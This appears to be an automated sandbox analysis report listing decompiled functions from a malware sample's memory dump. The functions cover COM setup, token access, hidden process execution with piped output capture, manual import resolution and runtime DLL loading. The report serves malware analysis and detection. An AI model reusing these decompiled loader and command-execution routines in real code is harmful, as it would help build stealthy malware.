Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: @$\u%04X$\u%04X\u%04X
API String ID: 0-2132903582
Opcode ID: b764047f429df4081d3fe31243c2dcc40412732e296e153a1260cd484ca2505b
Instruction ID: 2a99bf5f6f2bc6866693139e332ee818ce58cc5696786052cf03fccc422ace8e
Opcode Fuzzy Hash: b764047f429df4081d3fe31243c2dcc40412732e296e153a1260cd484ca2505b
Instruction Fuzzy Hash: 9B411533A042C59BFB108EAC8D96BEE7B65EF4571CF900065FA51DA249D22DC9B087D3

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4D565, Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E6BB4D565(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x6bb5b848, 0, 1, 0x6bb5b858, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E6BB485E5(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

0x6bb4d572
0x6bb4d575
0x6bb4d578
0x6bb4d589
0x6bb4d58f
0x6bb4d5a0
0x6bb4d5a8
0x6bb4d5f9
0x6bb4d5f9
0x6bb4d5fe
0x6bb4d603
0x6bb4d603
0x6bb4d606
0x6bb4d60b
0x6bb4d610
0x6bb4d610
0x6bb4d613
0x6bb4d5aa
0x6bb4d5ab
0x6bb4d5b1
0x6bb4d5c2
0x6bb4d5c7
0x00000000
0x6bb4d5c9
0x6bb4d5d6
0x6bb4d5de
0x00000000
0x6bb4d5e0
0x6bb4d5e2
0x6bb4d5ea
0x00000000
0x6bb4d5ec
0x6bb4d5ef
0x6bb4d5f5
0x6bb4d5f5
0x6bb4d5ea
0x6bb4d5de
0x6bb4d5c7
0x6bb4d618

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 6BB4D578
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 6BB4D589
CoCreateInstance.OLE32(6BB5B848,00000000,00000001,6BB5B858,?), ref: 6BB4D5A0
SysAllocString.OLEAUT32(00000000), ref: 6BB4D5AB
CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 6BB4D5D6

Part of subcall function 6BB485E5: HeapAlloc.KERNEL32(00000008,?,?,6BB48F65,00000100,?,6BB45FAC), ref: 6BB485F3

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocInitialize$BlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 2855449287-0
Opcode ID: 7b2d44223af1840003d684b250f95f6a9c92c720db888de5118c1fa72d0973ef
Instruction ID: 8810246a0405362c4bb042fa56c45030f29b3f7ba99496c7929ea7f25bdd369c
Opcode Fuzzy Hash: 7b2d44223af1840003d684b250f95f6a9c92c720db888de5118c1fa72d0973ef
Instruction Fuzzy Hash: 61211435640285BBEB248F66DC4DE6BBF7CEFC7B14B00009DB501AA290DB749A00DA70

Uniqueness

Uniqueness Score: -1.00%

Function 6BB52237, Relevance: 7.6, APIs: 5, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6BB52237(char* __eax, char** _a4, long long* _a8) {
				char* _v8;
				long long _v16;
				char* _t9;
				signed char _t11;
				char** _t19;
				char _t22;
				long long _t32;
				long long _t33;

				_t9 = __eax;
				L6BB52305();
				_t19 = _a4;
				_t22 =  *__eax;
				if( *_t22 != 0x2e) {
					_t9 = strchr( *_t19, 0x2e);
					if(_t9 != 0) {
						 *_t9 =  *_t22;
					}
				}
				L6BB522C9();
				 *_t9 =  *_t9 & 0x00000000;
				_t11 = strtod( *_t19,  &_v8);
				asm("fst qword [ebp-0xc]");
				_t32 =  *0x6bb58250;
				asm("fucomp st1");
				asm("fnstsw ax");
				if((_t11 & 0x00000044) != 0) {
					L5:
					st0 = _t32;
					L6BB522C9();
					if( *_t11 != 0x22) {
						_t33 = _v16;
						goto L8;
					} else {
						return _t11 | 0xffffffff;
					}
				} else {
					_t33 =  *0x6bb58258;
					asm("fucomp st1");
					asm("fnstsw ax");
					if((_t11 & 0x00000044) != 0) {
						L8:
						 *_a8 = _t33;
						return 0;
					} else {
						goto L5;
					}
				}
			}

0x6bb52237
0x6bb5223f
0x6bb52244
0x6bb52247
0x6bb5224c
0x6bb52252
0x6bb5225b
0x6bb5225f
0x6bb5225f
0x6bb5225b
0x6bb52261
0x6bb52266
0x6bb5226f
0x6bb52274
0x6bb52277
0x6bb52280
0x6bb52282
0x6bb52289
0x6bb5229a
0x6bb5229a
0x6bb5229c
0x6bb522a4
0x6bb522ab
0x00000000
0x6bb522a6
0x6bb522aa
0x6bb522aa
0x6bb5228b
0x6bb5228b
0x6bb52291
0x6bb52293
0x6bb52298
0x6bb522ae
0x6bb522b1
0x6bb522b6
0x00000000
0x00000000
0x00000000
0x6bb52298

APIs

localeconv.MSVCRT ref: 6BB5223F
strchr.MSVCRT ref: 6BB52252
_errno.MSVCRT ref: 6BB52261
strtod.MSVCRT ref: 6BB5226F
_errno.MSVCRT ref: 6BB5229C

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: _errno$localeconvstrchrstrtod
String ID:
API String ID: 1035490122-0
Opcode ID: 2de2910dcc71d8f411d3569f5b06f31cc88a6914bf5569b8de2294716fa2ff43
Instruction ID: bc28cd930c0d42c52a1946c763c9f666d38d44e3f421e6018165e944a2dc3ff3
Opcode Fuzzy Hash: 2de2910dcc71d8f411d3569f5b06f31cc88a6914bf5569b8de2294716fa2ff43
Instruction Fuzzy Hash: 5C01243B805A8DAADB022F24D90279D7BA4AF4B360F2001D0D980772D0DB7B9475C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4CFC6, Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6BB4CFC6(void* __ecx) {
				intOrPtr _t11;
				long _t12;
				intOrPtr _t17;
				intOrPtr _t18;
				struct _OSVERSIONINFOA* _t29;

				_push(__ecx);
				_t29 =  *0x6bb5e688; // 0x2a40590
				GetCurrentProcess();
				_t11 = E6BB4BA47();
				_t1 = _t29 + 0x1644; // 0x2a41bd4
				_t25 = _t1;
				 *((intOrPtr*)(_t29 + 0x110)) = _t11;
				_t12 = GetModuleFileNameW(0, _t1, 0x105);
				_t33 = _t12;
				if(_t12 != 0) {
					_t12 = E6BB48F9F(_t25, _t33);
				}
				_t3 = _t29 + 0x228; // 0x2a407b8
				 *(_t29 + 0x1854) = _t12;
				 *((intOrPtr*)(_t29 + 0x434)) = E6BB48F9F(_t3, _t33);
				memset(_t29, 0, 0x9c);
				_t29->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t29);
				 *((intOrPtr*)(_t29 + 0x1640)) = GetCurrentProcessId();
				_t17 = E6BB4E3F8(_t3);
				_t7 = _t29 + 0x220; // 0x2a407b0
				 *((intOrPtr*)(_t29 + 0x21c)) = _t17;
				_t18 = E6BB4E433(_t7);
				 *((intOrPtr*)(_t29 + 0x218)) = _t18;
				return _t18;
			}

0x6bb4cfc9
0x6bb4cfcb
0x6bb4cfd2
0x6bb4cfda
0x6bb4cfe4
0x6bb4cfe4
0x6bb4cfea
0x6bb4cff3
0x6bb4cff9
0x6bb4cffb
0x6bb4cfff
0x6bb4cfff
0x6bb4d004
0x6bb4d00a
0x6bb4d01a
0x6bb4d024
0x6bb4d02c
0x6bb4d02f
0x6bb4d03b
0x6bb4d041
0x6bb4d046
0x6bb4d04c
0x6bb4d052
0x6bb4d058
0x6bb4d060

APIs

GetCurrentProcess.KERNEL32(?,?,02A40590,?,6BB43538), ref: 6BB4CFD2
GetModuleFileNameW.KERNEL32(00000000,02A41BD4,00000105,?,?,02A40590,?,6BB43538), ref: 6BB4CFF3
memset.MSVCRT ref: 6BB4D024
GetVersionExA.KERNEL32(02A40590,02A40590,?,6BB43538), ref: 6BB4D02F
GetCurrentProcessId.KERNEL32(?,6BB43538), ref: 6BB4D035

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentProcess$FileModuleNameVersionmemset
String ID:
API String ID: 3581039275-0
Opcode ID: 7ab215a494fbffebf52cf565afec221b33a3f0b7c88aed79fc323f5dfb73b336
Instruction ID: 96955137f6288c11d9dc6ac33cca7445f153542e59d8a535cbe1539afbf6cb2d
Opcode Fuzzy Hash: 7ab215a494fbffebf52cf565afec221b33a3f0b7c88aed79fc323f5dfb73b336
Instruction Fuzzy Hash: 27017C71A11B409FEB259F70CC0ABEE7BE9FF85310F04081DE95687280EB79A541DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4B988, Relevance: 7.5, APIs: 5, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6BB4B988(void* __ecx) {
				void* _v8;
				void* _t9;

				if(OpenThreadToken(GetCurrentThread(), 8, 0,  &_v8) != 0 || GetLastError() == 0x3f0 && OpenProcessToken(GetCurrentProcess(), 8,  &_v8) != 0) {
					_t9 = _v8;
				} else {
					_t9 = 0;
				}
				return _t9;
			}

0x6bb4b9a7
0x6bb4b9d4
0x6bb4b9d0
0x6bb4b9d0
0x6bb4b9d0
0x6bb4b9d9

APIs

GetCurrentThread.KERNEL32(00000008,00000000,6BB40000,00000000,?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B99B
OpenThreadToken.ADVAPI32(00000000,?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B9A2
GetLastError.KERNEL32(?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B9A9
GetCurrentProcess.KERNEL32(00000008,6BB40000,?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B9C2
OpenProcessToken.ADVAPI32(00000000,?,?,6BB4BABE,74EC17D9,6BB40000), ref: 6BB4B9C9

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentOpenProcessThreadToken$ErrorLast
String ID:
API String ID: 102224034-0
Opcode ID: 4e57adc41c356cc2bdd4556df74cfe6b96439aefc39035cbb8293a98cd494f21
Instruction ID: 562027b1be89fa5748eb93114d6f2647098d51c3a68f6db330a402da5e799668
Opcode Fuzzy Hash: 4e57adc41c356cc2bdd4556df74cfe6b96439aefc39035cbb8293a98cd494f21
Instruction Fuzzy Hash: 60F01CB2A54249AFEF50AFA9CC09B6E77BCFB05745F040455F742E3140E679EA009B62

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4A9F9, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177
pipeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6BB4A9F9(signed int __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				char _v28;
				char _v32;
				char _v36;
				struct _SECURITY_ATTRIBUTES _v48;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				short _v92;
				intOrPtr _v96;
				void _v140;
				intOrPtr _t77;
				void* _t79;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr _t98;
				intOrPtr _t100;
				intOrPtr _t102;
				long _t111;
				intOrPtr _t115;
				intOrPtr _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;

				_t111 = 0;
				_v24 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t127 = 0;
				_v8 = 0;
				_v16 = 0;
				_v48.nLength = 0xc;
				_v48.lpSecurityDescriptor = 0;
				_v48.bInheritHandle = 1;
				_v28 = 0;
				memset( &_v140, 0, 0x44);
				asm("stosd");
				_t130 = _t129 + 0xc;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				if(CreatePipe( &_v12,  &_v20,  &_v48, 0) == 0) {
					L18:
					return 0;
				}
				if(CreatePipe( &_v8,  &_v16,  &_v48, 0) == 0) {
					L13:
					E6BB485FB( &_v28, 0);
					if(_v20 != 0) {
						_t77 =  *0x6bb5e684; // 0x2abfaa0
						 *((intOrPtr*)(_t77 + 0x30))(_v20);
					}
					if(_v8 != 0) {
						_t115 =  *0x6bb5e684; // 0x2abfaa0
						 *((intOrPtr*)(_t115 + 0x30))(_v8);
					}
					return _t111;
				}
				_t79 = _v16;
				_v76 = _t79;
				_v80 = _t79;
				_v84 = _v12;
				_v140 = 0x44;
				_v96 = 0x101;
				_v92 = 0;
				_t126 = E6BB485E5(0x1001);
				_v28 = _t126;
				if(_t126 == 0) {
					goto L18;
				}
				_push( &_v64);
				_push( &_v140);
				_t85 =  *0x6bb5e684; // 0x2abfaa0
				_push(0);
				_push(0);
				_push(0x8000000);
				_push(1);
				_push(0);
				_push(0);
				_push(_v24);
				_push(0);
				if( *((intOrPtr*)(_t85 + 0x38))() == 0) {
					goto L13;
				}
				_t87 =  *0x6bb5e684; // 0x2abfaa0
				 *((intOrPtr*)(_t87 + 0x30))(_v12);
				_t89 =  *0x6bb5e684; // 0x2abfaa0
				 *((intOrPtr*)(_t89 + 0x30))(_v16);
				_v24 = _v24 & 0;
				do {
					_t92 =  *0x6bb5e684; // 0x2abfaa0
					_v36 =  *((intOrPtr*)(_t92 + 0x88))(_v8, _t126, 0x1000,  &_v24, 0);
					 *((char*)(_v24 + _t126)) = 0;
					if(_t111 == 0) {
						_t127 = E6BB49187(_t126, 0);
					} else {
						_push(0);
						_push(_t126);
						_v32 = _t127;
						_t127 = E6BB49273(_t127);
						E6BB485FB( &_v32, 0xffffffff);
						_t130 = _t130 + 0x14;
					}
					_t111 = _t127;
					_v32 = _t127;
				} while (_v36 != 0);
				_push( &_v36);
				_push(E6BB4C3BB(_t127));
				_t98 =  *0x6bb5e68c; // 0x2abfc68
				_push(_t127);
				if( *((intOrPtr*)(_t98 + 0xb8))() != 0) {
					L12:
					_t100 =  *0x6bb5e684; // 0x2abfaa0
					 *((intOrPtr*)(_t100 + 0x30))(_v64);
					_t102 =  *0x6bb5e684; // 0x2abfaa0
					 *((intOrPtr*)(_t102 + 0x30))(_v60);
					goto L13;
				}
				_t128 = E6BB49237(_t127);
				if(_t128 == 0) {
					goto L12;
				}
				E6BB485FB( &_v32, 0);
				return _t128;
			}

0x6bb4aa04
0x6bb4aa06
0x6bb4aa12
0x6bb4aa17
0x6bb4aa1a
0x6bb4aa1c
0x6bb4aa1f
0x6bb4aa22
0x6bb4aa29
0x6bb4aa2c
0x6bb4aa33
0x6bb4aa36
0x6bb4aa40
0x6bb4aa41
0x6bb4aa44
0x6bb4aa46
0x6bb4aa47
0x6bb4aa5e
0x6bb4abde
0x00000000
0x6bb4abde
0x6bb4aa75
0x6bb4abaa
0x6bb4abb0
0x6bb4abbb
0x6bb4abbd
0x6bb4abc5
0x6bb4abc5
0x6bb4abcc
0x6bb4abce
0x6bb4abd7
0x6bb4abd7
0x00000000
0x6bb4abda
0x6bb4aa7b
0x6bb4aa7e
0x6bb4aa81
0x6bb4aa87
0x6bb4aa91
0x6bb4aa9b
0x6bb4aaa2
0x6bb4aaab
0x6bb4aaad
0x6bb4aab3
0x00000000
0x00000000
0x6bb4aabe
0x6bb4aac5
0x6bb4aac6
0x6bb4aacb
0x6bb4aacc
0x6bb4aacd
0x6bb4aad2
0x6bb4aad4
0x6bb4aad5
0x6bb4aad6
0x6bb4aad9
0x6bb4aadf
0x00000000
0x00000000
0x6bb4aae5
0x6bb4aaed
0x6bb4aaf0
0x6bb4aaf8
0x6bb4aafb
0x6bb4aafe
0x6bb4ab04
0x6bb4ab18
0x6bb4ab1e
0x6bb4ab24
0x6bb4ab4d
0x6bb4ab26
0x6bb4ab26
0x6bb4ab28
0x6bb4ab2a
0x6bb4ab32
0x6bb4ab3a
0x6bb4ab3f
0x6bb4ab3f
0x6bb4ab53
0x6bb4ab55
0x6bb4ab55
0x6bb4ab5d
0x6bb4ab65
0x6bb4ab66
0x6bb4ab6b
0x6bb4ab74
0x6bb4ab94
0x6bb4ab94
0x6bb4ab9c
0x6bb4ab9f
0x6bb4aba7
0x00000000
0x6bb4aba7
0x6bb4ab7d
0x6bb4ab81
0x00000000
0x00000000
0x6bb4ab89
0x00000000

APIs

memset.MSVCRT ref: 6BB4AA36
CreatePipe.KERNEL32(?,?,0000000C,00000000,00000000,00000000,00000000), ref: 6BB4AA5A
CreatePipe.KERNEL32(6BB4658A,?,0000000C,00000000), ref: 6BB4AA71

Part of subcall function 6BB485E5: HeapAlloc.KERNEL32(00000008,?,?,6BB48F65,00000100,?,6BB45FAC), ref: 6BB485F3

Part of subcall function 6BB485FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6BB48641

Strings

D, xrefs: 6BB4AA91

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeapPipe$AllocFreememset
String ID: D
API String ID: 488076629-2746444292
Opcode ID: f60b75c9f91c977633df8eb7a1164d2e4eb780107c3b94ffdf2153cf420f68d4
Instruction ID: f94c4829da82026a33ef61b785bf2d3b7ccbeb4619e4e160c31869834e39c3fc
Opcode Fuzzy Hash: f60b75c9f91c977633df8eb7a1164d2e4eb780107c3b94ffdf2153cf420f68d4
Instruction Fuzzy Hash: 50510772D10249AFEF41CFA8C885BEEB7B9FB08304F1041A9E510E7254EB799A45DB61

Uniqueness

Uniqueness Score: -1.00%

Function 6BB524D3, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6BB524D3(signed int __eax, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				void* _t163;

				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E6BB4E0DB(_v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t34 = _v8 + 0xc; // 0xffff
						_v36 = LoadLibraryA( *_t34 + _a4);
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_t43 = _v8 + 0x10; // 0xb8
								_v12 =  *_t43 + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_t73 = _v8 + 0x10; // 0xb8
									_v24 =  *((intOrPtr*)( *_t73 + _a4 + _v28));
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										_t89 = _v8 + 0x10; // 0xb8
										 *( *_t89 + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x6bb524d9
0x6bb524e1
0x6bb524f6
0x6bb52508
0x6bb52514
0x6bb5251a
0x6bb5251f
0x6bb5252b
0x6bb52696
0x00000000
0x6bb52696
0x6bb52531
0x6bb5253a
0x6bb52548
0x6bb5254b
0x6bb5255a
0x6bb5255a
0x6bb52561
0x6bb5256f
0x6bb52572
0x6bb52582
0x6bb5258f
0x6bb52596
0x6bb525a6
0x6bb525b8
0x6bb525be
0x6bb525a8
0x6bb525b0
0x6bb525b0
0x6bb525c1
0x6bb525c5
0x6bb525d1
0x6bb525d5
0x6bb525d9
0x6bb525dd
0x6bb525e9
0x6bb52614
0x6bb5261c
0x6bb52622
0x6bb5262e
0x6bb5263a
0x6bb525eb
0x6bb525f0
0x6bb525fb
0x6bb52607
0x6bb52607
0x6bb52643
0x6bb52649
0x6bb52653
0x6bb5266f
0x6bb52655
0x6bb52658
0x6bb52664
0x6bb52664
0x6bb52653
0x6bb52677
0x6bb52680
0x6bb52680
0x6bb5268e
0x00000000
0x6bb5268e
0x6bb5259a
0x00000000
0x6bb5259a
0x00000000
0x6bb52572
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 6BB524F0
LoadLibraryA.KERNEL32(00000000), ref: 6BB52589

Strings

kernel32.dll, xrefs: 6BB524EB
GetProcAddress, xrefs: 6BB524F9

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: 348e9506337282574a561bdc02aba341321cd36e8b937ec48712fc9ed3e454b7
Instruction ID: 77e9cc0ddb504b9195186ef52a2383c96fd1078c00f6bb602574b84b98279578
Opcode Fuzzy Hash: 348e9506337282574a561bdc02aba341321cd36e8b937ec48712fc9ed3e454b7
Instruction Fuzzy Hash: FC618C76D01209EFDB00CF98D881BADBBF1FF08315F248599E815AB291D778AA90CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4C510, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
libraryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6BB4C510(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				void _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				char* _t63;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x6bb5e688; // 0x2a40590
				_t1 = _t50 + 0x1898; // 0x0
				_t14 =  *_t1;
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E6BB495C2(_t50, 0xb62);
					_t66 =  *0x6bb5e688; // 0x2a40590
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E6BB49621( &_v140, 0x40, L"%08x", E6BB4D442(_t66 + 0xb0, E6BB4C3BB(_t66 + 0xb0), 0));
					_t20 =  *0x6bb5e688; // 0x2a40590
					_t7 = _t20 + 0xa8; // 0x1
					asm("sbb eax, eax");
					_t25 = E6BB495C2(_t67, ( ~( *_t7) & 0x00000068) + 0x615);
					_t63 = "\\";
					_t26 =  *0x6bb5e688; // 0x2a40590
					_t68 = E6BB492C6(_t26 + 0x1020);
					_v12 = _t68;
					E6BB485B6( &_v8);
					_t32 =  *0x6bb5e688; // 0x2a40590
					_t34 = E6BB492C6(_t32 + 0x122a);
					 *0x6bb5e784 = _t34;
					_t35 =  *0x6bb5e684; // 0x2abfaa0
					 *((intOrPtr*)(_t35 + 0x110))(_t68, _t34, 0, _t63,  &_v140, ".", L"dll", 0, _t63, _t25, _t63, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x6bb5e784);
					 *0x6bb5e77c = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E6BB4E1B3(0x6bb5bb40, _t60);
					}
					 *0x6bb5e780 = _t38;
					E6BB485FB( &_v12, 0xfffffffe);
					memset( &_v140, 0, 0x80);
					if( *0x6bb5e780 != 0) {
						goto L10;
					} else {
						E6BB485FB(0x6bb5e784, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x6bb5e780 == 0) {
						_t46 =  *0x6bb5e6bc; // 0x2abfbc8
						 *0x6bb5e780 = _t46;
					}
					L10:
					return 1;
				}
			}

0x6bb4c510
0x6bb4c510
0x6bb4c510
0x6bb4c513
0x6bb4c51f
0x6bb4c51f
0x6bb4c52a
0x6bb4c546
0x6bb4c54b
0x6bb4c554
0x6bb4c556
0x6bb4c55e
0x6bb4c57f
0x6bb4c584
0x6bb4c589
0x6bb4c591
0x6bb4c59c
0x6bb4c5a3
0x6bb4c5aa
0x6bb4c5bb
0x6bb4c5c1
0x6bb4c5c4
0x6bb4c5db
0x6bb4c5e7
0x6bb4c5ef
0x6bb4c5f6
0x6bb4c5fc
0x6bb4c608
0x6bb4c60e
0x6bb4c615
0x6bb4c628
0x6bb4c617
0x6bb4c617
0x6bb4c61a
0x6bb4c620
0x6bb4c625
0x6bb4c62a
0x6bb4c635
0x6bb4c647
0x6bb4c659
0x00000000
0x6bb4c65b
0x6bb4c662
0x00000000
0x6bb4c668
0x6bb4c669
0x6bb4c669
0x6bb4c670
0x6bb4c672
0x6bb4c677
0x6bb4c677
0x6bb4c67c
0x6bb4c680
0x6bb4c680

APIs

LoadLibraryW.KERNEL32 ref: 6BB4C608
memset.MSVCRT ref: 6BB4C647

Strings

%08x, xrefs: 6BB4C571
